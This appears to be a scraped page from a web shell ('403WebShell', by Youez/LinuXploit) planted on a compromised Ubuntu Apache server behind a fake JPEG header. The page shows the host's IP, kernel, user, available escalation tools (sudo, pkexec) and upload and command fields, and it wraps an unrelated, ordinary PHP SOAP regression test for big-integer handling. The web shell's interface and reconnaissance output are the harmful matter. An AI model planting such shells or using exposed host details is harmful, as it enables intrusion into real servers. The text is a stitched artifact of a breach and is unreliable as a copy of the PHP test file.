????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.222.226.15
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/soap/tests/bugs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/soap/tests/bugs/bug30045.phpt
--TEST--
Bug #30045 (Cannot pass big integers (> 2147483647) in SOAP requests)
--SKIPIF--
<?php 
  if (!extension_loaded('soap')) die('skip soap extension not available');
  if (!extension_loaded('simplexml')) die('skip simplexml extension not available');
?>
--INI--
soap.wsdl_cache_enabled=1
--FILE--
<?php

function foo($type, $num) {
  return new SoapVar($num, $type);
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('foo');
  }

  function __doRequest($request, $location, $action, $version, $one_way = 0) {
    $xml = simplexml_load_string($request);
    echo $xml->children("http://schemas.xmlsoap.org/soap/envelope/")->Body->children("http://test-uri")->children()->param1->asXML(),"\n";
    unset($xml);

    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();

    return $response;
  }

}

$soap = new LocalSoapClient(NULL, array("uri"=>"http://test-uri", "location"=>"test://"));

function test($type, $num) {
  global $soap;
  try {
	  printf("  %0.0f\n    ", $num);  	
	  $ret = $soap->foo($type, new SoapVar($num, $type));
	  printf("    %0.0f\n", $ret);
	} catch (SoapFault $ex) {
	  var_dump($ex);
	}
}
/*
echo "byte\n";
//test(XSD_BYTE, -129);
test(XSD_BYTE, -128);
test(XSD_BYTE,  127);
//test(XSD_BYTE,  128);

echo "\nshort\n";
//test(XSD_SHORT, -32769);
test(XSD_SHORT, -32768);
test(XSD_SHORT,  32767);
//test(XSD_SHORT,  32768);

echo "\nint\n";
//test(XSD_INT, -2147483649);
test(XSD_INT, -2147483648);
test(XSD_INT,  2147483647);
//test(XSD_INT,  2147483648);

echo "\nlong\n";
//test(XSD_LONG, -9223372036854775809);
test(XSD_LONG, -9223372036854775808);
test(XSD_LONG,  9223372036854775807);
//test(XSD_LONG,  9223372036854775808);

echo "\nunsignedByte\n";
//test(XSD_UNSIGNEDBYTE, -1);
test(XSD_UNSIGNEDBYTE,  0);
test(XSD_UNSIGNEDBYTE,  255);
//test(XSD_UNSIGNEDBYTE,  256);

echo "\nunsignedShort\n";
//test(XSD_UNSIGNEDSHORT, -1);
test(XSD_UNSIGNEDSHORT,  0);
test(XSD_UNSIGNEDSHORT,  65535);
//test(XSD_UNSIGNEDSHORT,  65536);

echo "\nunsignedInt\n";
//test(XSD_UNSIGNEDINT, -1);
test(XSD_UNSIGNEDINT,  0);
test(XSD_UNSIGNEDINT,  4294967295);
//test(XSD_UNSIGNEDINT,  4294967296);

echo "\nunsignedLong\n";
//test(XSD_UNSIGNEDLONG, -1);
test(XSD_UNSIGNEDLONG,  0);
test(XSD_UNSIGNEDLONG,  18446744073709551615);
//test(XSD_UNSIGNEDLONG,  18446744073709551616);

echo "\nnegativeInteger\n";
test(XSD_NEGATIVEINTEGER, -18446744073709551616);
test(XSD_NEGATIVEINTEGER, -1);
//test(XSD_NEGATIVEINTEGER,  0);

echo "\nnonPositiveInteger\n";
test(XSD_NONPOSITIVEINTEGER, -18446744073709551616);
test(XSD_NONPOSITIVEINTEGER,  0);
//test(XSD_NONPOSITIVEINTEGER,  1);

echo "\nnonNegativeInteger\n";
//test(XSD_NONNEGATIVEINTEGER, -1);
test(XSD_NONNEGATIVEINTEGER,  0);
test(XSD_NONNEGATIVEINTEGER,  18446744073709551616);

echo "\nPositiveInteger\n";
//test(XSD_POSITIVEINTEGER,  0);
test(XSD_POSITIVEINTEGER,  1);
test(XSD_POSITIVEINTEGER,  18446744073709551616);

echo "\ninteger\n";
test(XSD_INTEGER, -18446744073709551616);
test(XSD_INTEGER,  18446744073709551616);
*/
echo "long\n";
test(XSD_LONG, 2147483647);
test(XSD_LONG, 2147483648);
test(XSD_LONG,  4294967296);
test(XSD_LONG,  8589934592);
test(XSD_LONG, 17179869184); 

echo "\nunsignedLong\n";
test(XSD_UNSIGNEDLONG,  2147483647);
test(XSD_UNSIGNEDLONG,  2147483648);
test(XSD_UNSIGNEDLONG,  4294967296);
test(XSD_UNSIGNEDLONG,  8589934592);
test(XSD_UNSIGNEDLONG, 17179869184);

?>
--EXPECT--
long
  2147483647
    <param1 xsi:type="xsd:long">2147483647</param1>
    2147483647
  2147483648
    <param1 xsi:type="xsd:long">2147483648</param1>
    2147483648
  4294967296
    <param1 xsi:type="xsd:long">4294967296</param1>
    4294967296
  8589934592
    <param1 xsi:type="xsd:long">8589934592</param1>
    8589934592
  17179869184
    <param1 xsi:type="xsd:long">17179869184</param1>
    17179869184

unsignedLong
  2147483647
    <param1 xsi:type="xsd:unsignedLong">2147483647</param1>
    2147483647
  2147483648
    <param1 xsi:type="xsd:unsignedLong">2147483648</param1>
    2147483648
  4294967296
    <param1 xsi:type="xsd:unsignedLong">4294967296</param1>
    4294967296
  8589934592
    <param1 xsi:type="xsd:unsignedLong">8589934592</param1>
    8589934592
  17179869184
    <param1 xsi:type="xsd:unsignedLong">17179869184</param1>
    17179869184

Youez - 2016 - github.com/yon3zu
LinuXploit